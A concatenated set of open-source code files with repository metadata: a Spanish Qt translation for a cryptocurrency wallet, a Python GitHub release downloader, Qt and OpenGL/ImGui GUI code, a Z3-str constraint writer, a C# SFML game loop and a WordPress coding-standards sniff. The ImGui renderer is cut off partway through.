<source>Use UPnP to map the listening port (default: 0)</source>
<translation>Usar UPnP para asignar el puerto de escucha (predeterminado: 0)</translation>
</message>
<message>
<location line="-1"/>
<source>Use UPnP to map the listening port (default: 1 when listening)</source>
<translation>Usar UPnP para asignar el puerto de escucha (predeterminado: 1 al escuchar)</translation>
</message>
<message>
<location line="-25"/>
<source>Use proxy to reach tor hidden services (default: same as -proxy)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+42"/>
<source>Username for JSON-RPC connections</source>
<translation>Nombre de usuario para las conexiones JSON-RPC
</translation>
</message>
<message>
<location line="+47"/>
<source>Verifying database integrity...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+57"/>
<source>WARNING: syncronized checkpoint violation detected, but skipped!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Warning: Disk space is low!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Warning: This version is obsolete, upgrade required!</source>
<translation>Aviso: Esta versión es obsoleta, actualización necesaria!</translation>
</message>
<message>
<location line="-48"/>
<source>wallet.dat corrupt, salvage failed</source>
<translation>wallet.dat corrupto. Ha fallado la recuperación.</translation>
</message>
<message>
<location line="-54"/>
<source>Password for JSON-RPC connections</source>
<translation>Contraseña para las conexiones JSON-RPC
</translation>
</message>
<message>
<location line="-84"/>
<source>%s, you must set a rpcpassword in the configuration file:
%s
It is recommended you use the following random password:
rpcuser=hackcoinrpc
rpcpassword=%s
(you do not need to remember this password)
The username and password MUST NOT be the same.
If the file does not exist, create it with owner-readable-only file permissions.
It is also recommended to set alertnotify so you are notified of problems;
for example: alertnotify=echo %%s | mail -s "hackcoin Alert" admin@foo.com
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+51"/>
<source>Find peers using internet relay chat (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Allow JSON-RPC connections from specified IP address</source>
<translation>Permitir conexiones JSON-RPC desde la dirección IP especificada
</translation>
</message>
<message>
<location line="+1"/>
<source>Send commands to node running on <ip> (default: 127.0.0.1)</source>
<translation>Enviar comando al nodo situado en <ip> (predeterminado: 127.0.0.1)
</translation>
</message>
<message>
<location line="+1"/>
<source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source>
<translation>Ejecutar un comando cuando cambia el mejor bloque (%s en cmd se sustituye por el hash de bloque)</translation>
</message>
<message>
<location line="+3"/>
<source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source>
<translation>Ejecutar comando cuando una transacción del monedero cambia (%s en cmd se remplazará por TxID)</translation>
</message>
<message>
<location line="+3"/>
<source>Require a confirmations for change (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enforce transaction scripts to use canonical PUSH operators (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Upgrade wallet to latest format</source>
<translation>Actualizar el monedero al último formato</translation>
</message>
<message>
<location line="+1"/>
<source>Set key pool size to <n> (default: 100)</source>
<translation>Ajustar el número de claves en reserva <n> (predeterminado: 100)
</translation>
</message>
<message>
<location line="+1"/>
<source>Rescan the block chain for missing wallet transactions</source>
<translation>Volver a examinar la cadena de bloques en busca de transacciones del monedero perdidas</translation>
</message>
<message>
<location line="+2"/>
<source>How many blocks to check at startup (default: 2500, 0 = all)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>How thorough the block verification is (0-6, default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Imports blocks from external blk000?.dat file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Use OpenSSL (https) for JSON-RPC connections</source>
<translation>Usar OpenSSL (https) para las conexiones JSON-RPC
</translation>
</message>
<message>
<location line="+1"/>
<source>Server certificate file (default: server.cert)</source>
<translation>Certificado del servidor (predeterminado: server.cert)
</translation>
</message>
<message>
<location line="+1"/>
<source>Server private key (default: server.pem)</source>
<translation>Clave privada del servidor (predeterminado: server.pem)
</translation>
</message>
<message>
<location line="+1"/>
<source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+53"/>
<source>Error: Wallet unlocked for staking only, unable to create transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-158"/>
<source>This help message</source>
<translation>Este mensaje de ayuda
</translation>
</message>
<message>
<location line="+95"/>
<source>Wallet %s resides outside data directory %s.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cannot obtain a lock on data directory %s. hackcoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-98"/>
<source>hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+140"/>
<source>Unable to bind to %s on this computer (bind returned error %d, %s)</source>
<translation>No es posible conectar con %s en este sistema (bind ha dado el error %d, %s)</translation>
</message>
<message>
<location line="-130"/>
<source>Connect through socks proxy</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Allow DNS lookups for -addnode, -seednode and -connect</source>
<translation>Permitir búsquedas DNS para -addnode, -seednode y -connect</translation>
</message>
<message>
<location line="+122"/>
<source>Loading addresses...</source>
<translation>Cargando direcciones...</translation>
</message>
<message>
<location line="-15"/>
<source>Error loading blkindex.dat</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error loading wallet.dat: Wallet corrupted</source>
<translation>Error al cargar wallet.dat: el monedero está dañado</translation>
</message>
<message>
<location line="+4"/>
<source>Error loading wallet.dat: Wallet requires newer version of hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet needed to be rewritten: restart hackcoin to complete</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error loading wallet.dat</source>
<translation>Error al cargar wallet.dat</translation>
</message>
<message>
<location line="-16"/>
<source>Invalid -proxy address: '%s'</source>
<translation>Dirección -proxy inválida: '%s'</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown network specified in -onlynet: '%s'</source>
<translation>La red especificada en -onlynet '%s' es desconocida</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown -socks proxy version requested: %i</source>
<translation>Solicitada versión de proxy -socks desconocida: %i</translation>
</message>
<message>
<location line="+4"/>
<source>Cannot resolve -bind address: '%s'</source>
<translation>No se puede resolver la dirección de -bind: '%s'</translation>
</message>
<message>
<location line="+2"/>
<source>Cannot resolve -externalip address: '%s'</source>
<translation>No se puede resolver la dirección de -externalip: '%s'</translation>
</message>
<message>
<location line="-24"/>
<source>Invalid amount for -paytxfee=<amount>: '%s'</source>
<translation>Cantidad inválida para -paytxfee=<amount>: '%s'</translation>
</message>
<message>
<location line="+44"/>
<source>Error: could not start node</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Sending...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Invalid amount</source>
<translation>Cuantía no válida</translation>
</message>
<message>
<location line="+1"/>
<source>Insufficient funds</source>
<translation>Fondos insuficientes</translation>
</message>
<message>
<location line="-34"/>
<source>Loading block index...</source>
<translation>Cargando el índice de bloques...</translation>
</message>
<message>
<location line="-103"/>
<source>Add a node to connect to and attempt to keep the connection open</source>
<translation>Añadir un nodo al que conectarse y tratar de mantener la conexión abierta</translation>
</message>
<message>
<location line="+122"/>
<source>Unable to bind to %s on this computer. hackcoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-97"/>
<source>Fee per KB to add to transactions you send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+55"/>
<source>Invalid amount for -mininput=<amount>: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Loading wallet...</source>
<translation>Cargando monedero...</translation>
</message>
<message>
<location line="+8"/>
<source>Cannot downgrade wallet</source>
<translation>No se puede rebajar el monedero</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot initialize keypool</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Cannot write default address</source>
<translation>No se puede escribir la dirección predeterminada</translation>
</message>
<message>
<location line="+1"/>
<source>Rescanning...</source>
<translation>Reexplorando...</translation>
</message>
<message>
<location line="+5"/>
<source>Done loading</source>
<translation>Generado pero no aceptado</translation>
</message>
<message>
<location line="-167"/>
<source>To use the %s option</source>
<translation>Para utilizar la opción %s</translation>
</message>
<message>
<location line="+14"/>
<source>Error</source>
<translation>Error</translation>
</message>
<message>
<location line="+6"/>
<source>You must set rpcpassword=<password> in the configuration file:
%s
If the file does not exist, create it with owner-readable-only file permissions.</source>
<translation>Tiene que establecer rpcpassword=<contraseña> en el fichero de configuración: ⏎
%s ⏎
Si el archivo no existe, créelo con permiso de lectura solamente del propietario.</translation>
</message>
</context>
</TS> | borzalom/XtraBYtes | src/qt/locale/xtrabytes_es_DO.ts | TypeScript | gpl-3.0 | 119,551 |
#!/usr/bin/python
# Author: Thomas Goodwin <btgoodwin@geontech.com>
import urllib2, json, os, sys, re
def download_asset(path, url):
asset_path = None
try:
file_name = os.path.basename(url)
asset_path = os.path.join(path, file_name)
if os.path.exists(asset_path):
# Skip downloading
asset_path = None
else:
if not os.path.exists(path):
os.makedirs(path)
f = urllib2.urlopen(url)
with open(asset_path, "wb") as local_file:
local_file.write(f.read())
except Exception as e:
sys.exit('Failed to fetch IDE. Error: {0}'.format(e))
finally:
return asset_path
def handle_release_assets(assets):
assets = [ asset for asset in assets if re.match(r'redhawk-ide.+?(?=x86_64)', asset['name'])]
if not assets:
sys.exit('Failed to find the IDE asset')
elif len(assets) > 1:
sys.exit('Found too many IDE assets matching that description...?')
return download_asset('downloads', assets[0]['browser_download_url'])
def run(pv):
RELEASES_URL = 'http://api.github.com/repos/RedhawkSDR/redhawk/releases'
ide_asset = ''
try:
releases = json.loads(urllib2.urlopen(RELEASES_URL).read())
releases = [r for r in releases if r['tag_name'] == pv]
if releases:
ide_asset = handle_release_assets(releases[0]['assets'])
else:
sys.exit('Failed to find the release: {0}'.format(pv))
finally:
return ide_asset
if __name__ == '__main__':
# First argument is the version
asset = run(sys.argv[1])
print asset | Geontech/docker-redhawk-ubuntu | Dockerfiles/files/build/ide-fetcher.py | Python | gpl-3.0 | 1,661 |
/*****************************************************************************
* Copyright 2015-2020 Alexander Barthel alex@littlenavmap.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*****************************************************************************/
#include "gui/statusbareventfilter.h"
#include <QHelpEvent>
#include <QLabel>
#include <QStatusBar>
#include <QToolTip>
StatusBarEventFilter::StatusBarEventFilter(QStatusBar *parentStatusBar, QLabel *firstLabel)
: QObject(parentStatusBar), statusBar(parentStatusBar), firstWidget(firstLabel)
{
}
StatusBarEventFilter::~StatusBarEventFilter()
{
}
bool StatusBarEventFilter::eventFilter(QObject *object, QEvent *event)
{
if(event->type() == QEvent::ToolTip)
{
QHelpEvent *mouseEvent = dynamic_cast<QHelpEvent *>(event);
if(mouseEvent != nullptr)
{
// Allow tooltip events only on the left side of the first label widget
QRect rect(0, 0, firstWidget->geometry().left(), statusBar->height());
if(!rect.contains(mouseEvent->pos()))
return true;
}
}
else if(event->type() == QEvent::MouseButtonRelease)
{
QMouseEvent *mouseEvent = dynamic_cast<QMouseEvent *>(event);
if(mouseEvent != nullptr)
{
// Allow tooltips on click only on the left side of the first label widget
QRect rect(0, 0, firstWidget->geometry().left(), statusBar->height());
if(rect.contains(mouseEvent->pos()))
{
QToolTip::showText(QCursor::pos(), statusBar->toolTip(), statusBar);
return true;
}
}
}
return QObject::eventFilter(object, event);
}
| albar965/littlenavmap | src/gui/statusbareventfilter.cpp | C++ | gpl-3.0 | 2,192 |
/*
* Copyright 2012 Aarhus University
*
* Licensed under the GNU General Public License, Version 3 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.gnu.org/licenses/gpl-3.0.html
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <cstdlib>
#include <iostream>
#include <ostream>
#include <sstream>
#include <cstdlib>
#include <math.h>
#include <QDebug>
#include <QDateTime>
#include "util/loggingutil.h"
#include "statistics/statsstorage.h"
#include "z3str.h"
namespace artemis
{
Z3STRConstraintWriter::Z3STRConstraintWriter(ConcolicBenchmarkFeatures disabledFeatures)
: SMTConstraintWriter(disabledFeatures)
{
}
std::string Z3STRConstraintWriter::ifLabel()
{
return "if";
}
void Z3STRConstraintWriter::visit(Symbolic::SymbolicString* symbolicstring, void* args)
{
// If we are coercing from an input (string) to an integer, then this is a special case.
// Instead of returning a symbolic string (which would raise an error) we just silently ignore the coercion and record
// the variable as an integer instead of a string.
if(args != NULL) {
CoercionPromise* promise = (CoercionPromise*)args;
if (promise->coerceTo == Symbolic::INT) {
promise->isCoerced = true;
recordAndEmitType(symbolicstring->getSource(), Symbolic::INT);
mExpressionBuffer = encodeIdentifier(symbolicstring->getSource().getIdentifier());
mExpressionType = Symbolic::INT;
return;
}
}
// Checks this symbolic value is of type STRING and raises an error otherwise.
recordAndEmitType(symbolicstring->getSource(), Symbolic::STRING);
mExpressionBuffer = encodeIdentifier(symbolicstring->getSource().getIdentifier());
mExpressionType = Symbolic::STRING;
}
void Z3STRConstraintWriter::visit(Symbolic::ConstantString* constantstring, void* args)
{
std::ostringstream strs;
strs << "\"" << *constantstring->getValue() << "\"";
mExpressionBuffer = strs.str();
mExpressionType = Symbolic::STRING;
}
void Z3STRConstraintWriter::visit(Symbolic::StringBinaryOperation* stringbinaryoperation, void* args)
{
static const char* op[] = {
"(Concat ", "(= ", "(= (= ", "_", "_", "_", "_", "(= ", "(= (= "
};
static const char* opclose[] = {
")", ")", ") false)", "_", "_", "_", "_", ")", ") false)"
};
switch (stringbinaryoperation->getOp()) {
case Symbolic::CONCAT:
case Symbolic::STRING_EQ:
case Symbolic::STRING_NEQ:
case Symbolic::STRING_SEQ:
case Symbolic::STRING_SNEQ:
break; // these are supported
default:
error("Unsupported operation on strings");
return;
}
stringbinaryoperation->getLhs()->accept(this);
std::string lhs = mExpressionBuffer;
if(!checkType(Symbolic::STRING)){
error("String operation with incorrectly typed LHS");
return;
}
stringbinaryoperation->getRhs()->accept(this);
std::string rhs = mExpressionBuffer;
if(!checkType(Symbolic::STRING)){
error("String operation with incorrectly typed RHS");
return;
}
std::ostringstream strs;
strs << op[stringbinaryoperation->getOp()] << lhs << " " << rhs << opclose[stringbinaryoperation->getOp()];
mExpressionBuffer = strs.str();
mExpressionType = opGetType(stringbinaryoperation->getOp());
}
void Z3STRConstraintWriter::visit(Symbolic::StringCoercion* stringcoercion, void* args)
{
CoercionPromise promise(Symbolic::STRING);
stringcoercion->getExpression()->accept(this);
if (!promise.isCoerced) {
coercetype(mExpressionType, Symbolic::STRING, mExpressionBuffer); // Sets mExpressionBuffer and Type.
}
}
void Z3STRConstraintWriter::visit(Symbolic::StringRegexReplace* regex, void* args)
{
// special case input filtering (filters matching X and replacing with "")
if (regex->getReplace()->compare("") == 0) {
// right now, only support a very limited number of whitespace filters
bool replaceSpaces = regex->getRegexpattern()->compare("/ /g") == 0 ||
regex->getRegexpattern()->compare("/ /") == 0;
bool replaceNewlines = regex->getRegexpattern()->compare("/\\n/g") == 0 ||
regex->getRegexpattern()->compare("/\\r/") == 0 ||
regex->getRegexpattern()->compare("/\\r\\n/") == 0;
if (replaceSpaces || replaceNewlines || true) { // TODO: Hack, always filter away these for now
regex->getSource()->accept(this, args); // send args through, allow local coercions
// You could use the following block to prevent certain characters to be used,
// but this would be problematic wrt. possible coercions, so we just ignore these filtering regexes.
//if(!checkType(Symbolic::STRING)){
// error("String regex operation on non-string");
// return;
//}
//
//if(replaceSpaces){
// mOutput << "(assert (= (Contains " << mExpressionBuffer << " \" \") false))\n";
// mConstriantLog << "(assert (= (Contains " << mExpressionBuffer << " \" \") false))\n";
//}
// In fact the solver currently cannot return results which contain newlines,
// so we can completely ignore the case of replaceNewlines.
// to be explicit, we just let the parent buffer flow down
mExpressionBuffer = mExpressionBuffer;
mExpressionType = mExpressionType;
Statistics::statistics()->accumulate("Concolic::Solver::RegexSuccessfullyTranslated", 1);
return;
}
}
Statistics::statistics()->accumulate("Concolic::Solver::RegexNotTranslated", 1);
error("Regex constraints not supported");
}
void Z3STRConstraintWriter::visit(Symbolic::StringReplace* replace, void* args)
{
replace->getSource()->accept(this);
if(!checkType(Symbolic::STRING)){
error("String replace operation on non-string");
return;
}
std::ostringstream strs;
strs << "(Replace " << mExpressionBuffer << " \"" << *replace->getPattern() << "\" \"" << *replace->getReplace() << "\")";
mExpressionBuffer = strs.str();
mExpressionType = Symbolic::STRING;
}
void Z3STRConstraintWriter::visit(Symbolic::StringLength* stringlength, void* args)
{
stringlength->getString()->accept(this);
if(!checkType(Symbolic::STRING)){
error("String length operation on non-string");
return;
}
std::ostringstream strs;
strs << "(Length " << mExpressionBuffer << ")";
mExpressionBuffer = strs.str();
mExpressionType = Symbolic::INT;
}
}
| cs-au-dk/Artemis | artemis-code/src/concolic/solver/constraintwriter/z3str.cpp | C++ | gpl-3.0 | 7,077 |
#include "musicabstractfloatwidget.h"
MusicAbstractFloatWidget::MusicAbstractFloatWidget(QWidget *parent)
: QLabel(parent)
{
m_animation = new QPropertyAnimation(this, "geometry", this);
m_animation->setDuration(500);
m_blockAnimation = false;
}
MusicAbstractFloatWidget::~MusicAbstractFloatWidget()
{
delete m_animation;
}
void MusicAbstractFloatWidget::animationIn()
{
m_animation->setStartValue(m_rectOut);
m_animation->setEndValue(m_rectIn);
m_animation->start();
}
void MusicAbstractFloatWidget::animationOut()
{
m_animation->setStartValue(m_rectIn);
m_animation->setEndValue(m_rectOut);
m_animation->start();
}
#if TTK_QT_VERSION_CHECK(6,0,0)
void MusicAbstractFloatWidget::enterEvent(QEnterEvent *event)
#else
void MusicAbstractFloatWidget::enterEvent(QEvent *event)
#endif
{
QLabel::enterEvent(event);
if(!m_blockAnimation)
{
animationIn();
}
}
void MusicAbstractFloatWidget::leaveEvent(QEvent *event)
{
QLabel::leaveEvent(event);
if(!m_blockAnimation)
{
animationOut();
}
}
| Greedysky/TTKMusicplayer | TTKModule/TTKWidget/musicCoreKits/musicabstractfloatwidget.cpp | C++ | gpl-3.0 | 1,081 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SFML.Graphics;
using SFML.Window;
using System.Diagnostics;
using System.Threading;
namespace Presentation
{
class MyProgram : SFMLProgram
{
RenderWindow window;
private bool done;
public MyProgram()
{
Console.WriteLine("My");
}
public void Start()
{
Initialize();
Stopwatch watch = new Stopwatch();
watch.Start();
double fps = 60;
double msForFrame = 1000 / fps;
double lag = 0;
double dt = 0.001;
double currentTime = watch.ElapsedMilliseconds;
double AllTime = 0;
double realTime = 0;
double frameTime = 0;
int sleepTime = 0;
int wtf = 0;
while (!done)
{
window.DispatchEvents();
//real time
realTime = watch.ElapsedMilliseconds;
frameTime = realTime - currentTime;
currentTime = realTime;
lag += frameTime;
while (lag > dt)
{
Update(dt);
lag -= dt;
}
window.Clear();
Render(window);
window.Display();
AllTime += frameTime;
sleepTime = (int)((long)AllTime - watch.ElapsedMilliseconds);
if (sleepTime < 0)
{
sleepTime = 0;
wtf++;
}
Thread.Sleep(sleepTime);
//Console.WriteLine(AllTime - watch.ElapsedMilliseconds + " " + AllTime.ToString("000") + " " + watch.ElapsedMilliseconds.ToString("000") + " " + lag.ToString(".000000000"));
}
Console.Clear();
Console.WriteLine("WTF: " + wtf);
Console.ReadKey();
}
public void Initialize()
{
window = new RenderWindow(new VideoMode(500, 600), "Okno", Styles.Close, new ContextSettings() { DepthBits = 24, AntialiasingLevel = 4 });
done = false;
window.Closed += OnClosed;
window.KeyPressed += OnKeyPressed;
}
private void OnKeyPressed(object sender, KeyEventArgs e)
{
switch(e.Code)
{
case Keyboard.Key.Escape:
done = true;
break;
case Keyboard.Key.E:
OnEClicked();
break;
case Keyboard.Key.Q:
OnQClicked();
break;
}
}
private void OnClosed(object sender, EventArgs e)
{
done = true;
}
}
}
| binarygondola/travelling-salesman | MyProgram.cs | C# | gpl-3.0 | 2,920 |
<?php
/**
* WordPress Coding Standard.
*
* @package WPCS\WordPressCodingStandards
* @link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards
* @license https://opensource.org/licenses/MIT MIT
*/
namespace WordPress\Sniffs\Security;
use WordPress\AbstractFunctionParameterSniff;
/**
* Warn about __FILE__ for page registration.
*
* @link https://vip.wordpress.com/documentation/vip-go/code-review-blockers-warnings-notices/#using-__file__-for-page-registration
*
* @package WPCS\WordPressCodingStandards
*
* @since 0.3.0
* @since 0.11.0 Refactored to extend the new WordPress_AbstractFunctionParameterSniff.
* @since 0.13.0 Class name changed: this class is now namespaced.
* @since 1.0.0 This sniff has been moved from the `VIP` category to the `Security` category.
*/
class PluginMenuSlugSniff extends AbstractFunctionParameterSniff {
/**
* The group name for this group of functions.
*
* @since 0.11.0
*
* @var string
*/
protected $group_name = 'add_menu_functions';
/**
* Functions which can be used to add pages to the WP Admin menu.
*
* @since 0.3.0
* @since 0.11.0 Renamed from $add_menu_functions to $target_functions
* and changed visibility to protected.
*
* @var array <string function name> => <array target parameter positions>
*/
protected $target_functions = array(
'add_menu_page' => array( 4 ),
'add_object_page' => array( 4 ),
'add_utility_page' => array( 4 ),
'add_submenu_page' => array( 1, 5 ),
'add_dashboard_page' => array( 4 ),
'add_posts_page' => array( 4 ),
'add_media_page' => array( 4 ),
'add_links_page' => array( 4 ),
'add_pages_page' => array( 4 ),
'add_comments_page' => array( 4 ),
'add_theme_page' => array( 4 ),
'add_plugins_page' => array( 4 ),
'add_users_page' => array( 4 ),
'add_management_page' => array( 4 ),
'add_options_page' => array( 4 ),
);
/**
* Process the parameters of a matched function.
*
* @since 0.11.0
*
* @param int $stackPtr The position of the current token in the stack.
* @param array $group_name The name of the group which was matched.
* @param string $matched_content The token content (function name) which was matched.
* @param array $parameters Array with information about the parameters.
*
* @return void
*/
public function process_parameters( $stackPtr, $group_name, $matched_content, $parameters ) {
foreach ( $this->target_functions[ $matched_content ] as $position ) {
if ( isset( $parameters[ $position ] ) ) {
$file_constant = $this->phpcsFile->findNext( \T_FILE, $parameters[ $position ]['start'], ( $parameters[ $position ]['end'] + 1 ) );
if ( false !== $file_constant ) {
$this->phpcsFile->addWarning( 'Using __FILE__ for menu slugs risks exposing filesystem structure.', $stackPtr, 'Using__FILE__' );
}
}
}
}
}
| jazzsequence/games-collector | vendor/wp-coding-standards/wpcs/WordPress/Sniffs/Security/PluginMenuSlugSniff.php | PHP | gpl-3.0 | 2,957 |
#include "GuiManager.h"
#include "Shader.h"
#include "TextureData.h"
#include "Component.h"
#if defined(GLES2)
#include <GLES2/gl2.h>
#elif defined(GLES3)
#include <GLES3/gl3.h>
#else
#include <GL/glew.h>
#endif
#include <glm/gtx/transform.hpp>
TextureData *m_textureData;
Shader *m_shader;
static int g_AttribLocationPosition = 0, g_AttribLocationUV = 0, g_AttribLocationColor = 0;
static unsigned int g_VboHandle = 0, g_VaoHandle = 0, g_ElementsHandle = 0;
void GuiManager::addInputCharactersUTF8(const char *text)
{
ImGuiIO &io = ImGui::GetIO();
io.AddInputCharactersUTF8(text);
}
void GuiManager::setKeyEvent(int key, bool keydown)
{
ImGuiIO &io = ImGui::GetIO();
io.KeysDown[key] = keydown;
}
void GuiManager::renderDrawLists(ImDrawData *draw_data)
{
// Avoid rendering when minimized, scale coordinates for retina displays (screen coordinates != framebuffer coordinates)
ImGuiIO &io = ImGui::GetIO();
int fb_width = (int)(io.DisplaySize.x * io.DisplayFramebufferScale.x);
int fb_height = (int)(io.DisplaySize.y * io.DisplayFramebufferScale.y);
if (fb_width == 0 || fb_height == 0)
return;
draw_data->ScaleClipRects(io.DisplayFramebufferScale);
// Backup GL state
GLint last_program;
glGetIntegerv(GL_CURRENT_PROGRAM, &last_program);
GLint last_texture;
glGetIntegerv(GL_TEXTURE_BINDING_2D, &last_texture);
GLint last_active_texture;
glGetIntegerv(GL_ACTIVE_TEXTURE, &last_active_texture);
GLint last_array_buffer;
glGetIntegerv(GL_ARRAY_BUFFER_BINDING, &last_array_buffer);
GLint last_element_array_buffer;
glGetIntegerv(GL_ELEMENT_ARRAY_BUFFER_BINDING, &last_element_array_buffer);
#if !defined(GLES2)
GLint last_vertex_array;
glGetIntegerv(GL_VERTEX_ARRAY_BINDING, &last_vertex_array);
GLint last_blend_src;
glGetIntegerv(GL_BLEND_SRC, &last_blend_src);
GLint last_blend_dst;
glGetIntegerv(GL_BLEND_DST, &last_blend_dst);
#endif
GLint last_blend_equation_rgb;
glGetIntegerv(GL_BLEND_EQUATION_RGB, &last_blend_equation_rgb);
GLint last_blend_equation_alpha;
glGetIntegerv(GL_BLEND_EQUATION_ALPHA, &last_blend_equation_alpha);
GLint last_viewport[4];
glGetIntegerv(GL_VIEWPORT, last_viewport);
GLboolean last_enable_blend = glIsEnabled(GL_BLEND);
GLboolean last_enable_cull_face = glIsEnabled(GL_CULL_FACE);
GLboolean last_enable_depth_test = glIsEnabled(GL_DEPTH_TEST);
GLboolean last_enable_scissor_test = glIsEnabled(GL_SCISSOR_TEST);
// Setup render state: alpha-blending enabled, no face culling, no depth testing, scissor enabled
glEnable(GL_BLEND);
glBlendEquation(GL_FUNC_ADD);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glDisable(GL_CULL_FACE);
glDisable(GL_DEPTH_TEST);
glEnable(GL_SCISSOR_TEST);
glActiveTexture(GL_TEXTURE0);
// Setup orthographic projection matrix
glViewport(0, 0, (GLsizei)fb_width, (GLsizei)fb_height);
auto ortho_projection = glm::ortho(0.0f, io.DisplaySize.x, io.DisplaySize.y, 0.0f);
m_shader->bind();
m_shader->setUniform1i("Texture", 0);
m_shader->setUniformMatrix4f("ProjMtx", ortho_projection);
#if !defined(GLES2)
glBindVertexArray(g_VaoHandle);
#else
glBindBuffer(GL_ARRAY_BUFFER, g_VboHandle);
glEnableVertexAttribArray(g_AttribLocationPosition);
glEnableVertexAttribArray(g_AttribLocationUV);
glEnableVertexAttribArray(g_AttribLocationColor);
#define OFFSETOF(TYPE, ELEMENT) ((size_t) & (((TYPE *)0)->ELEMENT))
glVertexAttribPointer(g_AttribLocationPosition, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, pos));
glVertexAttribPointer(g_AttribLocationUV, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, uv));
glVertexAttribPointer(g_AttribLocationColor, 4, GL_UNSIGNED_BYTE, GL_TRUE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, col));
#undef OFFSETOF
#endif
for (int n = 0; n < draw_data->CmdListsCount; n++)
{
const ImDrawList *cmd_list = draw_data->CmdLists[n];
const ImDrawIdx *idx_buffer_offset = 0;
glBindBuffer(GL_ARRAY_BUFFER, g_VboHandle);
glBufferData(GL_ARRAY_BUFFER, (GLsizeiptr)cmd_list->VtxBuffer.size() * sizeof(ImDrawVert), (GLvoid *)&cmd_list->VtxBuffer.front(), GL_STREAM_DRAW);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, g_ElementsHandle);
glBufferData(GL_ELEMENT_ARRAY_BUFFER, (GLsizeiptr)cmd_list->IdxBuffer.size() * sizeof(ImDrawIdx), (GLvoid *)&cmd_list->IdxBuffer.front(), GL_STREAM_DRAW);
for (const ImDrawCmd *pcmd = cmd_list->CmdBuffer.begin(); pcmd != cmd_list->CmdBuffer.end(); pcmd++)
{
if (pcmd->UserCallback)
{
pcmd->UserCallback(cmd_list, pcmd);
}
else
{
m_textureData->bind(0);
glScissor((int)pcmd->ClipRect.x, (int)(fb_height - pcmd->ClipRect.w), (int)(pcmd->ClipRect.z - pcmd->ClipRect.x), (int)(pcmd->ClipRect.w - pcmd->ClipRect.y));
glDrawElements(GL_TRIANGLES, (GLsizei)pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer_offset);
}
idx_buffer_offset += pcmd->ElemCount;
}
}
#if defined(GLES2)
glDisableVertexAttribArray(g_AttribLocationPosition);
glDisableVertexAttribArray(g_AttribLocationUV);
glDisableVertexAttribArray(g_AttribLocationColor);
#endif
// Restore modified GL state
glUseProgram(last_program);
glActiveTexture(last_active_texture);
glBindTexture(GL_TEXTURE_2D, last_texture);
#if !defined(GLES2)
glBindVertexArray(last_vertex_array);
